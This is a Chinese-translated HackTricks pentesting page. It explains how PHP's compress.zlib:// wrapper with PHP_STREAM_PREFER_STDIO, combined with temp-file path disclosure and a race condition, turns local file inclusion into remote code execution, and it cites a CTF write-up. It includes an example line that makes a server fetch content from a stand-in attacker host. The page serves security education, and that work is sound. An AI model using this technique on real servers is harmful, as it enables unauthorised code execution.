hacktricks/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
2023-08-03 19:12:22 +00:00

4.8 KiB
Raw Blame History

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

compress.zlib://PHP_STREAM_PREFER_STDIO

使用协议compress.zlib://和标志PHP_STREAM_PREFER_STDIO打开的文件可以继续将后续到达的数据写入同一文件。

这意味着可以执行以下调用:

file_get_contents("compress.zlib://http://attacker.com/file")

将发送一个请求请求的URL为http://attacker.com/file然后服务器可能会以有效的HTTP响应回复该请求并保持连接打开随后一段时间发送额外的数据这些数据也会被写入文件中

您可以在php-src代码的main/streams/cast.c部分中看到这些信息。

/* Use a tmpfile and copy the old streams contents into it */

if (flags & PHP_STREAM_PREFER_STDIO) {
*newstream = php_stream_fopen_tmpfile();
} else {
*newstream = php_stream_temp_new();
}

竞争条件到远程命令执行Race Condition to RCE

这个CTF是通过使用之前的技巧解决的。

攻击者将使受害者服务器打开一个连接,从攻击者的服务器上读取一个文件,使用**compress.zlib**协议。

这个连接存在的同时,攻击者将泄露创建的临时文件的路径(服务器泄露)。

连接仍然打开的情况下,攻击者将利用LFI加载他控制的临时文件**。

然而Web服务器中有一个检查防止加载包含<?的文件。因此,攻击者将滥用竞争条件。在仍然打开的连接中,攻击者将在Web服务器检查文件是否包含禁止字符之后,但在加载其内容之前发送PHP有效载荷

有关竞争条件和CTF的更多信息请查看https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥